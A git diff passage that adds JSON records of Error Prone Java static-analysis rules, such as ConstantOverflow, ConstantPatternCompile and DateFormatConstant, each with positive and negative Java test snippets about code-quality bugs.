1 == 1;\n }\n\n boolean barNotEquals() {\n return 1 != 1;\n }\n\n boolean f(boolean x) {\n boolean r;\n r = x || !false;\n r = x || !true;\n r = x || true;\n r = x && !false;\n r = x && !true;\n r = x && false;\n return r;\n }\n }\n \n\n class Foo {\n int CONSTANT1 = 1;\n int CONSTANT2 = 1;\n\n int barNoOp() {\n return 1 - 1;\n }\n\n boolean barNoOpWithConstants() {\n return CONSTANT1 == CONSTANT2;\n }\n\n boolean barEquals() {\n return true;\n }\n\n boolean barNotEquals() {\n return false;\n }\n\n boolean f(boolean x) {\n boolean r;\n r = true;\n r = x || !true;\n r = true;\n r = x && !false;\n r = false;\n r = false;\n return r;\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 111 + ], + "code": "package a;\n\n class A {\n static final int A = 1;\n static final int B = 2;\n static final boolean C = A > B;\n static final boolean D = A + B > 0;\n static final boolean E = (A + B) > 0;\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ComputeIfAbsentAmbiguousReference.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ComputeIfAbsentAmbiguousReference.json new file mode 100644 index 0000000..515c9de --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ComputeIfAbsentAmbiguousReference.json @@ -0,0 +1,46 @@ +{ + "name": "ComputeIfAbsentAmbiguousReference", + "language": "java", + "description": "computeIfAbsent passes the map key to the provided class's constructor", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 94, + "branches": 9, + "apis": 1, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 34 + ], + "code": "import java.util.ArrayList;\n import java.util.HashMap;\n import java.util.List;\n import java.util.Map;\n import java.util.concurrent.atomic.AtomicLong;\n\n class Test {\n private void doWorkAtomicLong(Map map) {\n Long key = 4L;\n // BUG: Diagnostic contains: ComputeIfAbsentAmbiguousReference\n map.computeIfAbsent(key, AtomicLong::new).incrementAndGet();\n }\n }" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 57 + ], + "code": "import java.util.Map;\n import java.util.concurrent.atomic.AtomicLong;\n import java.util.function.Function;\n\n class Test {\n private void doWork(Map map) {\n Long key = 4L;\n Function longBuilder = AtomicLong::new;\n map.computeIfAbsent(key, k -> new AtomicLong(k));\n map.computeIfAbsent(key, longBuilder);\n map.computeIfAbsent(key, (Function) AtomicLong::new);\n }\n\n private void doWorkStringArray(Map map) {\n Integer key = 4;\n map.computeIfAbsent(key, String[]::new);\n }\n\n private void doWorkInnerClass1(Map map) {\n map.computeIfAbsent(0L, InnerClass1::new);\n }\n\n /** Class with exactly one 1-argument constructor. * */\n class InnerClass1 {\n InnerClass1(long l) {}\n }\n\n private void doWorkInnerClass2(Map map) {\n map.computeIfAbsent(0, InnerClass2::new);\n }\n\n /** Class with two 1-argument constructors. * */\n class InnerClass2 {\n InnerClass2(int i) {}\n\n InnerClass2(String s) {}\n }\n }" + }, + { + "description": "negativeCase_parameterNameMatch", + "expected-problems": null, + "expected-linenumbers": [ + 105 + ], + "code": "import java.util.HashMap;\n import java.util.Map;\n import java.util.concurrent.atomic.AtomicLong;\n\n class Test {\n private void doWorkAtomicLong(Map map) {\n Long initialValue = 4L;\n map.computeIfAbsent(initialValue, AtomicLong::new);\n }\n\n private void doWork(Map map) {\n Integer initialCapacity = 4;\n map.computeIfAbsent(initialCapacity, HashMap::new);\n }\n }" + }, + { + "description": "negativeCase_nonOverride", + "expected-problems": null, + "expected-linenumbers": [ + 130 + ], + "code": "import java.util.Map;\n\n class Test {\n interface SubMap extends Map {\n Object computeIfAbsent(Object key);\n }\n\n private void test(SubMap map) {\n map.computeIfAbsent(4L);\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ConditionalExpressionNumericPromotion.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ConditionalExpressionNumericPromotion.json new file mode 100644 index 0000000..bc2bb53 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ConditionalExpressionNumericPromotion.json @@ -0,0 +1,30 @@ +{ + "name": "ConditionalExpressionNumericPromotion", + "language": "java", + "description": "A conditional expression with numeric operands of differing types will perform binary numeric promotion of the operands; when these operands are of reference types, the expression's result may not be of the expected type.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 81, + "branches": 7, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 32 + ], + "code": "import java.io.Serializable;\n\n class Test {\n Object returnObject(boolean b) {\n return b ? Integer.valueOf(0) : Long.valueOf(0);\n }\n\n Number returnNumber(boolean b) {\n // Extra parentheses, just for fun.\n return (b ? Integer.valueOf(0) : Long.valueOf(0));\n }\n\n Serializable returnSerializable(boolean b) {\n return b ? Integer.valueOf(0) : Long.valueOf(0);\n }\n\n void assignObject(boolean b, Object obj) {\n obj = b ? Integer.valueOf(0) : Long.valueOf(0);\n }\n\n void assignNumber(boolean b, Number obj) {\n obj = b ? Integer.valueOf(0) : Long.valueOf(0);\n }\n\n void variableObject(boolean b) {\n Object obj = b ? Integer.valueOf(0) : Long.valueOf(0);\n }\n\n void variableNumber(boolean b) {\n Number obj = b ? Integer.valueOf(0) : Long.valueOf(0);\n }\n\n void invokeMethod(boolean b, Number n) {\n invokeMethod(b, b ? Integer.valueOf(0) : Long.valueOf(0));\n }\n }\n \n\n import java.io.Serializable;\n\n class Test {\n Object returnObject(boolean b) {\n return b ? ((Number) Integer.valueOf(0)) : ((Number) Long.valueOf(0));\n }\n\n Number returnNumber(boolean b) {\n // Extra parentheses, just for fun.\n return (b ? ((Number) Integer.valueOf(0)) : ((Number) Long.valueOf(0)));\n }\n\n Serializable returnSerializable(boolean b) {\n return b ? ((Number) Integer.valueOf(0)) : ((Number) Long.valueOf(0));\n }\n\n void assignObject(boolean b, Object obj) {\n obj = b ? ((Number) Integer.valueOf(0)) : ((Number) Long.valueOf(0));\n }\n\n void assignNumber(boolean b, Number obj) {\n obj = b ? ((Number) Integer.valueOf(0)) : ((Number) Long.valueOf(0));\n }\n\n void variableObject(boolean b) {\n Object obj = b ? ((Number) Integer.valueOf(0)) : ((Number) Long.valueOf(0));\n }\n\n void variableNumber(boolean b) {\n Number obj = b ? ((Number) Integer.valueOf(0)) : ((Number) Long.valueOf(0));\n }\n\n void invokeMethod(boolean b, Number n) {\n invokeMethod(b, b ? ((Number) Integer.valueOf(0)) : ((Number) Long.valueOf(0)));\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 118 + ], + "code": "class Test {\n Long returnLong(boolean b) {\n // OK, because the return type is the correct type.\n return false ? Integer.valueOf(0) : Long.valueOf(0);\n }\n\n void assignLong(boolean b, Long obj) {\n obj = b ? Integer.valueOf(0) : Long.valueOf(0);\n }\n\n void variableLong(boolean b) {\n Long obj = b ? Integer.valueOf(0) : Long.valueOf(0);\n }\n\n void variablePrimitive(boolean b) {\n long obj = b ? Integer.valueOf(0) : Long.valueOf(0);\n }\n\n void invokeMethod(boolean b, Long n) {\n invokeMethod(b, b ? Integer.valueOf(0) : Long.valueOf(0));\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ConstantField.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ConstantField.json new file mode 100644 index 0000000..94df0bf --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ConstantField.json @@ -0,0 +1,70 @@ +{ + "name": "ConstantField", + "language": "java", + "description": "Fields with CONSTANT_CASE names should be both static and final", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 80, + "branches": 11, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 32 + ], + "code": "class Test {\n // BUG: Diagnostic contains: static final Object CONSTANT1 = 42;\n Object CONSTANT1 = 42;\n // BUG: Diagnostic contains: @Deprecated static final Object CONSTANT2 = 42;\n @Deprecated Object CONSTANT2 = 42;\n // BUG: Diagnostic contains: static final Object CONSTANT3 = 42;\n static Object CONSTANT3 = 42;\n // BUG: Diagnostic contains: static final Object CONSTANT4 = 42;\n final Object CONSTANT4 = 42;\n // BUG: Diagnostic contains: @Deprecated private static final Object CONSTANT5 = 42;\n @Deprecated private Object CONSTANT5 = 42;\n }" + }, + { + "description": "rename", + "expected-problems": null, + "expected-linenumbers": [ + 54 + ], + "code": "class Test {\n // BUG: Diagnostic contains: 'Object constantCaseName = 42;'\n Object CONSTANT_CASE_NAME = 42;\n }" + }, + { + "description": "skipStaticFixOnInners", + "expected-problems": null, + "expected-linenumbers": [ + 68 + ], + "code": "class Test {\n class Inner {\n // BUG: Diagnostic matches: F\n final String CONSTANT_CASE_NAME = \"a\";\n }\n\n enum InnerEnum {\n FOO {\n // BUG: Diagnostic matches: F\n final String CONSTANT_CASE_NAME = \"a\";\n };\n // BUG: Diagnostic contains: static final String CAN_MAKE_STATIC\n final String CAN_MAKE_STATIC = \"\";\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 95 + ], + "code": "class Test {\n static final Object CONSTANT = 42;\n Object nonConst = 42;\n public static final Object FLAG_foo = new Object();\n protected static final int FOO_BAR = 100;\n static final int FOO_BAR2 = 100;\n private static final int[] intArray = {0};\n private static final Object mutable = new Object();\n }" + }, + { + "description": "renameUsages", + "expected-problems": null, + "expected-linenumbers": [ + 114 + ], + "code": "class Test {\n Object CONSTANT_CASE = 42;\n\n void f() {\n System.err.println(CONSTANT_CASE);\n }\n }\n \n\n class Test {\n Object constantCase = 42;\n\n void f() {\n System.err.println(constantCase);\n }\n }" + }, + { + "description": "primitivesAreConstant_negative", + "expected-problems": null, + "expected-linenumbers": [ + 143 + ], + "code": "class Test {\n static final int CONSTANT = 42;\n static final Integer BOXED_CONSTANT = 42;\n static final String STRING_CONSTANT = \"\";\n }" + }, + { + "description": "primitivesAreConstant_serializable", + "expected-problems": null, + "expected-linenumbers": [ + 158 + ], + "code": "import java.io.ObjectStreamField;\n import java.io.Serializable;\n\n class Test implements Serializable {\n private static final long serialVersionUID = 1L;\n private static final ObjectStreamField[] serialPersistentFields = {};\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ConstantOverflow.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ConstantOverflow.json new file mode 100644 index 0000000..cede5b2 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ConstantOverflow.json @@ -0,0 +1,94 @@ +{ + "name": "ConstantOverflow", + "language": "java", + "description": "Compile-time constant expression overflows", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 246, + "branches": 65, + "apis": 1, + "test": [ + { + "description": "positiveExpressions", + "expected-problems": null, + "expected-linenumbers": [ + 32 + ], + "code": "class Test {\n static final int C = 1;\n\n void g(int x) {}\n\n void f() {\n // BUG: Diagnostic contains: if (1000L * 1000 * 1000 * 10 * 1L == 0)\n if (1000 * 1000 * 1000 * 10 * 1L == 0)\n ;\n // BUG: Diagnostic contains: int x = (int) (1000L * 1000 * 1000 * 10 * 1L);\n int x = (int) (1000 * 1000 * 1000 * 10 * 1L);\n // BUG: Diagnostic contains: long y = 1000L * 1000 * 1000 * 10;\n int y = 1000 * 1000 * 1000 * 10;\n // BUG: Diagnostic contains:\n g(C * 1000 * 1000 * 1000 * 10);\n }\n }" + }, + { + "description": "positiveFields", + "expected-problems": null, + "expected-linenumbers": [ + 59 + ], + "code": "class Test {\n // BUG: Diagnostic contains: Long a = 1000L * 1000 * 1000 * 10 * 1L;\n Long a = 1000 * 1000 * 1000 * 10 * 1L;\n // BUG: Diagnostic contains:\n int b = (int) 24L * 60 * 60 * 1000 * 1000;\n long c = (long) 24L * 60 * 60 * 1000 * 1000;\n // BUG: Diagnostic contains: long d = 24L * 60 * 60 * 1000 * 1000;\n long d = 24 * 60 * 60 * 1000 * 1000;\n }" + }, + { + "description": "negativeFloat", + "expected-problems": null, + "expected-linenumbers": [ + 78 + ], + "code": "class Test {\n public static final int a = (int) (10 / 0.5);\n }" + }, + { + "description": "negativeCharCast", + "expected-problems": null, + "expected-linenumbers": [ + 91 + ], + "code": "class Test {\n public static final char a = (char) Integer.MAX_VALUE;\n public static final char b = (char) -1;\n public static final char c = (char) 1;\n }" + }, + { + "description": "negativeCast", + "expected-problems": null, + "expected-linenumbers": [ + 106 + ], + "code": "class Test {\n public static final byte a = (byte) 1;\n private static final byte b = (byte) 0b1000_0000;\n private static final byte c = (byte) 0x80;\n private static final byte d = (byte) 0xfff;\n private static final byte e = (byte) -1;\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 123 + ], + "code": "class Test {\n long microDay = 24L * 60 * 60 * 1000 * 1000;\n }" + }, + { + "description": "bitAnd", + "expected-problems": null, + "expected-linenumbers": [ + 136 + ], + "code": "class Test {\n private static final int MASK = (1 << 31);\n\n void f(int[] xs) {\n for (final int x : xs) {\n final int y = (x & (MASK - 1));\n }\n }\n }" + }, + { + "description": "longOverflow", + "expected-problems": null, + "expected-linenumbers": [ + 155 + ], + "code": "class Test {\n private static final long GOLDEN_GAMMA = 0x9e3779b97f4a7c15L;\n\n void f() {\n System.err.println(2 * GOLDEN_GAMMA);\n }\n }\n \n\n class Test {\n private static final long GOLDEN_GAMMA = 0x9e3779b97f4a7c15L;\n\n void f() {\n System.err.println(2 * GOLDEN_GAMMA);\n }\n }" + }, + { + "description": "onlyFixIntegers", + "expected-problems": null, + "expected-linenumbers": [ + 183 + ], + "code": "class Test {\n int a = 'a' + Integer.MAX_VALUE;\n }\n \n\n class Test {\n int a = 'a' + Integer.MAX_VALUE;\n }" + }, + { + "description": "varType", + "expected-problems": null, + "expected-linenumbers": [ + 203 + ], + "code": "class Test {\n void f() {\n var x = 1 + Integer.MAX_VALUE;\n }\n }\n \n\n class Test {\n void f() {\n var x = 1L + Integer.MAX_VALUE;\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ConstantPatternCompile.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ConstantPatternCompile.json new file mode 100644 index 0000000..5f6f589 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ConstantPatternCompile.json @@ -0,0 +1,142 @@ +{ + "name": "ConstantPatternCompile", + "language": "java", + "description": "Variables initialized with Pattern#compile calls on constants can be constants", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 376, + "branches": 38, + "apis": 4, + "test": [ + { + "description": "inlineExpressions", + "expected-problems": null, + "expected-linenumbers": [ + 37 + ], + "code": "import java.util.regex.Matcher;\n import java.util.regex.Pattern;\n\n class Test {\n boolean isCar(String input) {\n return Pattern.compile(\"car\").matcher(input).matches();\n }\n }\n \n\n import java.util.regex.Matcher;\n import java.util.regex.Pattern;\n\n class Test {\n boolean isCar(String input) {\n return INPUT_PATTERN.matcher(input).matches();\n }\n\n private static final Pattern INPUT_PATTERN = Pattern.compile(\"car\");\n }" + }, + { + "description": "variableNameFromField", + "expected-problems": null, + "expected-linenumbers": [ + 69 + ], + "code": "import java.util.regex.Matcher;\n import java.util.regex.Pattern;\n\n class Test {\n private static final String INPUT = null;\n\n boolean isCar() {\n return Pattern.compile(\"car\").matcher(INPUT).matches();\n }\n }\n \n\n import java.util.regex.Matcher;\n import java.util.regex.Pattern;\n\n class Test {\n private static final String INPUT = null;\n\n boolean isCar() {\n return INPUT_PATTERN.matcher(INPUT).matches();\n }\n\n private static final Pattern INPUT_PATTERN = Pattern.compile(\"car\");\n }" + }, + { + "description": "inlineExpression_argumentIsMethodCall", + "expected-problems": null, + "expected-linenumbers": [ + 105 + ], + "code": "import java.util.regex.Matcher;\n import java.util.regex.Pattern;\n\n class Test {\n String getText() {\n return null;\n }\n\n boolean isCar() {\n return Pattern.compile(\"car\").matcher(getText()).matches();\n }\n }\n \n\n import java.util.regex.Matcher;\n import java.util.regex.Pattern;\n\n class Test {\n String getText() {\n return null;\n }\n\n boolean isCar() {\n return GET_TEXT_PATTERN.matcher(getText()).matches();\n }\n\n private static final Pattern GET_TEXT_PATTERN = Pattern.compile(\"car\");\n }" + }, + { + "description": "inlineExpression_nameDefaultsToPattern", + "expected-problems": null, + "expected-linenumbers": [ + 145 + ], + "code": "import java.util.regex.Matcher;\n import java.util.regex.Pattern;\n\n class Test {\n boolean isCar() {\n return Pattern.compile(\"car\").matcher(\"\").matches();\n }\n }\n \n\n import java.util.regex.Matcher;\n import java.util.regex.Pattern;\n\n class Test {\n boolean isCar() {\n return PATTERN.matcher(\"\").matches();\n }\n\n private static final Pattern PATTERN = Pattern.compile(\"car\");\n }" + }, + { + "description": "multipleInlineExpressions", + "expected-problems": null, + "expected-linenumbers": [ + 177 + ], + "code": "import java.util.regex.Matcher;\n import java.util.regex.Pattern;\n\n class Test {\n boolean isBlueCar(String input) {\n return Pattern.compile(\"car\").matcher(input).matches()\n && Pattern.compile(\"blue\").matcher(input).matches();\n }\n }\n \n\nimport java.util.regex.Matcher;\nimport java.util.regex.Pattern;\n\nclass Test {\n boolean isBlueCar(String input) {\n return INPUT_PATTERN.matcher(input).matches() && INPUT_PATTERN2.matcher(input).matches();\n }\n\n private static final Pattern INPUT_PATTERN = Pattern.compile(\"car\");\n private static final Pattern INPUT_PATTERN2 = Pattern.compile(\"blue\");\n}" + }, + { + "description": "sameNameInDifferentMethods", + "expected-problems": null, + "expected-linenumbers": [ + 211 + ], + "code": "import java.util.regex.Matcher;\n import java.util.regex.Pattern;\n\n class Test {\n boolean isCar(String input) {\n return Pattern.compile(\"car\").matcher(input).matches();\n }\n\n boolean isDog(String input) {\n return Pattern.compile(\"dog\").matcher(input).matches();\n }\n }\n \n\n import java.util.regex.Matcher;\n import java.util.regex.Pattern;\n\n class Test {\n boolean isCar(String input) {\n return INPUT_PATTERN.matcher(input).matches();\n }\n\n boolean isDog(String input) {\n return INPUT_PATTERN2.matcher(input).matches();\n }\n\n private static final Pattern INPUT_PATTERN = Pattern.compile(\"car\");\n private static final Pattern INPUT_PATTERN2 = Pattern.compile(\"dog\");\n }" + }, + { + "description": "fixGenerationStatic", + "expected-problems": null, + "expected-linenumbers": [ + 252 + ], + "code": "import java.util.regex.Matcher;\n import java.util.regex.Pattern;\n\n class Test {\n static final String MY_COOL_PATTERN = \"a+\";\n\n public static void myPopularStaticMethod() {\n Pattern somePattern = Pattern.compile(MY_COOL_PATTERN);\n Matcher m = somePattern.matcher(\"aaaaab\");\n }\n }\n \n\n import java.util.regex.Matcher;\n import java.util.regex.Pattern;\n\n class Test {\n static final String MY_COOL_PATTERN = \"a+\";\n\n public static void myPopularStaticMethod() {\n Matcher m = SOME_PATTERN.matcher(\"aaaaab\");\n }\n\n private static final Pattern SOME_PATTERN = Pattern.compile(MY_COOL_PATTERN);\n }" + }, + { + "description": "fixGeneration_multiplePatterns", + "expected-problems": null, + "expected-linenumbers": [ + 289 + ], + "code": "import java.util.regex.Pattern;\n\n class Test {\n public static boolean match() {\n String line = \"abcd\";\n Pattern p1 = Pattern.compile(\"a+\");\n Pattern p2 = Pattern.compile(\"b+\");\n if (p1.matcher(line).matches() && p2.matcher(line).matches()) {\n return true;\n }\n Pattern p3 = Pattern.compile(\"c+\");\n Pattern p4 = Pattern.compile(\"d+\");\n return p3.matcher(line).matches() && p4.matcher(line).matches();\n }\n }\n \n\n import java.util.regex.Pattern;\n\n class Test {\n public static boolean match() {\n String line = \"abcd\";\n if (P1.matcher(line).matches() && P2.matcher(line).matches()) {\n return true;\n }\n return P3.matcher(line).matches() && P4.matcher(line).matches();\n }\n\n private static final Pattern P1 = Pattern.compile(\"a+\");\n private static final Pattern P2 = Pattern.compile(\"b+\");\n private static final Pattern P3 = Pattern.compile(\"c+\");\n private static final Pattern P4 = Pattern.compile(\"d+\");\n }" + }, + { + "description": "fixGenerationWithJavadoc", + "expected-problems": null, + "expected-linenumbers": [ + 334 + ], + "code": "import java.util.regex.Matcher;\n import java.util.regex.Pattern;\n\n class Test {\n /** This is a javadoc. * */\n public static void myPopularStaticMethod() {\n Pattern myPattern = Pattern.compile(\"a+\");\n Matcher m = myPattern.matcher(\"aaaaab\");\n }\n }\n \n\n import java.util.regex.Matcher;\n import java.util.regex.Pattern;\n\n class Test {\n /** This is a javadoc. * */\n public static void myPopularStaticMethod() {\n Matcher m = MY_PATTERN.matcher(\"aaaaab\");\n }\n\n private static final Pattern MY_PATTERN = Pattern.compile(\"a+\");\n }" + }, + { + "description": "fixGeneration_nonStaticInnerClass", + "expected-problems": null, + "expected-linenumbers": [ + 369 + ], + "code": "import java.util.regex.Matcher;\n import java.util.regex.Pattern;\n\n class Test {\n static final String MY_COOL_PATTERN = \"a+\";\n\n class Inner {\n public void myPopularStaticMethod() {\n Pattern myPattern = Pattern.compile(MY_COOL_PATTERN);\n Matcher m = myPattern.matcher(\"aaaaab\");\n }\n }\n }\n \n\n import java.util.regex.Matcher;\n import java.util.regex.Pattern;\n\n class Test {\n static final String MY_COOL_PATTERN = \"a+\";\n\n class Inner {\n public void myPopularStaticMethod() {\n Matcher m = MY_PATTERN.matcher(\"aaaaab\");\n }\n\n private final Pattern MY_PATTERN = Pattern.compile(MY_COOL_PATTERN);\n }\n }" + }, + { + "description": "negativeCases", + "expected-problems": null, + "expected-linenumbers": [ + 410 + ], + "code": "import com.google.errorprone.annotations.CompileTimeConstant;\n import java.util.regex.Pattern;\n\n class Test {\n private static String pattern;\n private static final Pattern MY_COOL_PATTERN = Pattern.compile(pattern);\n private static final Pattern LOWER_CASE_ONLY =\n Pattern.compile(\"^([a-z]+)$\", Pattern.CASE_INSENSITIVE);\n\n private void myPopularNonStaticMethod(String arg) {\n Pattern pattern = Pattern.compile(arg + \"+\");\n }\n\n private void myPopularMethod(@CompileTimeConstant String arg) {\n Pattern pattern = Pattern.compile(arg);\n }\n\n private final String patString = \"a+\";\n\n private void patternCompileOnNonStaticArg() {\n Pattern pattern = Pattern.compile(patString);\n }\n }" + }, + { + "description": "negativeCases_multiArg", + "expected-problems": null, + "expected-linenumbers": [ + 443 + ], + "code": "import com.google.errorprone.annotations.CompileTimeConstant;\n import java.util.regex.Matcher;\n import java.util.regex.Pattern;\n\n class Test {\n public static int getMatchCount(CharSequence content, String regex) {\n int count = 0;\n Pattern pattern = Pattern.compile(regex, Pattern.MULTILINE);\n Matcher matcher = pattern.matcher(content);\n while (matcher.find()) {\n count++;\n }\n return count;\n }\n }" + }, + { + "description": "negativeCase_staticBlock", + "expected-problems": null, + "expected-linenumbers": [ + 468 + ], + "code": "import com.google.errorprone.annotations.CompileTimeConstant;\n import java.util.regex.Pattern;\n\n class Test {\n private static final String pattern = \"a+\";\n\n static {\n Pattern MY_COOL_PATTERN = Pattern.compile(pattern);\n }\n }" + }, + { + "description": "onlyCode_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 491 + ], + "code": "import java.util.regex.Pattern;\n\n class Test {\n public static void test() {\n Pattern pattern = Pattern.compile(\".*\");\n }\n }" + }, + { + "description": "withinList_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 509 + ], + "code": "import com.google.common.collect.ImmutableList;\nimport java.util.regex.Pattern;\n\nclass Test {\n private static final ImmutableList patterns = ImmutableList.of(Pattern.compile(\".*\"));\n}" + }, + { + "description": "suppressible", + "expected-problems": null, + "expected-linenumbers": [ + 525 + ], + "code": "import java.util.regex.Matcher;\n import java.util.regex.Pattern;\n\n class Test {\n @SuppressWarnings(\"ConstantPatternCompile\")\n boolean isCar(String input) {\n return Pattern.compile(\"car\").matcher(input).matches();\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DangerousLiteralNullChecker.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DangerousLiteralNullChecker.json new file mode 100644 index 0000000..668d0de --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DangerousLiteralNullChecker.json @@ -0,0 +1,30 @@ +{ + "name": "DangerousLiteralNullChecker", + "language": "java", + "description": "This method is null-hostile: passing a null literal to it is always wrong", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 100, + "branches": 7, + "apis": 3, + "test": [ + { + "description": "javaUtilOptional", + "expected-problems": null, + "expected-linenumbers": [ + 30 + ], + "code": "import java.util.Optional;\n\n class Test {\n void bad(Optional o) {\n // BUG: Diagnostic contains: o.orElse(null)\n o.orElseGet(null);\n // BUG: Diagnostic contains: o.orElseThrow(NullPointerException::new)\n o.orElseThrow(null);\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 50 + ], + "code": "" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DateFormatConstant.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DateFormatConstant.json new file mode 100644 index 0000000..2b0e8d4 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DateFormatConstant.json @@ -0,0 +1,46 @@ +{ + "name": "DateFormatConstant", + "language": "java", + "description": "DateFormat is not thread-safe, and should not be used as a constant field.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 101, + "branches": 8, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 29 + ], + "code": "import java.text.DateFormat;\nimport java.text.SimpleDateFormat;\n\nclass Test {\n // BUG: Diagnostic contains:\n private static final DateFormat DATE_FORMAT1 = new SimpleDateFormat(\"yyyy-MM-dd HH:mm\");\n // BUG: Diagnostic contains:\n private static final SimpleDateFormat DATE_FORMAT2 = new SimpleDateFormat(\"yyyy-MM-dd HH:mm\");\n}" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 48 + ], + "code": "import java.text.SimpleDateFormat;\n\nclass Test {\n private static final SimpleDateFormat NO_INITIALIZER;\n\n static {\n NO_INITIALIZER = new SimpleDateFormat(\"yyyy-MM-dd HH:mm\");\n }\n\n private final SimpleDateFormat NON_STATIC = new SimpleDateFormat(\"yyyy-MM-dd HH:mm\");\n private static SimpleDateFormat NON_FINAL = new SimpleDateFormat(\"yyyy-MM-dd HH:mm\");\n private static final SimpleDateFormat lowerCamelCase = new SimpleDateFormat(\"yyyy-MM-dd HH:mm\");\n\n static void f() {\n final SimpleDateFormat NOT_A_FIELD = new SimpleDateFormat(\"yyyy-MM-dd HH:mm\");\n }\n\n private static final String NOT_A_SIMPLE_DATE_FORMAT = \"\";\n}" + }, + { + "description": "threadLocalFix", + "expected-problems": null, + "expected-linenumbers": [ + 77 + ], + "code": "import java.text.SimpleDateFormat;\nimport java.text.DateFormat;\nimport java.util.Date;\n\nclass Test {\n private static final DateFormat DATE_FORMAT = new SimpleDateFormat(\"yyyy-MM-dd HH:mm\");\n\n static String f(Date d) {\n return DATE_FORMAT.format(d);\n }\n}\n\n\n import java.text.SimpleDateFormat;\n import java.text.DateFormat;\n import java.util.Date;\n\n class Test {\n private static final ThreadLocal dateFormat =\n ThreadLocal.withInitial(() -> new SimpleDateFormat(\"yyyy-MM-dd HH:mm\"));\n\n static String f(Date d) {\n return dateFormat.get().format(d);\n }\n }" + }, + { + "description": "lowerCamelCaseFix", + "expected-problems": null, + "expected-linenumbers": [ + 114 + ], + "code": "import java.text.SimpleDateFormat;\nimport java.text.DateFormat;\nimport java.util.Date;\n\nclass Test {\n private static final DateFormat DATE_FORMAT = new SimpleDateFormat(\"yyyy-MM-dd HH:mm\");\n\n static String f(Date d) {\n return DATE_FORMAT.format(d);\n }\n}\n\n\nimport java.text.SimpleDateFormat;\nimport java.text.DateFormat;\nimport java.util.Date;\n\nclass Test {\n private static final DateFormat dateFormat = new SimpleDateFormat(\"yyyy-MM-dd HH:mm\");\n\n static String f(Date d) {\n return dateFormat.format(d);\n }\n}" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DeadException.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DeadException.json new file mode 100644 index 0000000..956d644 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DeadException.json @@ -0,0 +1,46 @@ +{ + "name": "DeadException", + "language": "java", + "description": "Exception created but not thrown", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 102, + "branches": 10, + "apis": 3, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 33 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n public class DeadExceptionPositiveCases {\n public void runtimeException() {\n // BUG: Diagnostic contains: throw new RuntimeException\n new RuntimeException(\"Not thrown, and reference lost\");\n }\n\n public void error() {\n // BUG: Diagnostic contains: throw new AssertionError\n new AssertionError(\"Not thrown, and reference lost\");\n }\n\n public void fixIsToDeleteTheFirstStatement() {\n // BUG: Diagnostic contains: remove this line\n new IllegalArgumentException(\"why is this here?\");\n int i = 1;\n System.out.println(\"i = \" + i);\n\n if (true) {\n // BUG: Diagnostic contains: remove this line\n new RuntimeException(\"oops\");\n System.out.println(\"another statement after exception\");\n }\n\n switch (0) {\n default:\n // BUG: Diagnostic contains: remove this line\n new RuntimeException(\"oops\");\n 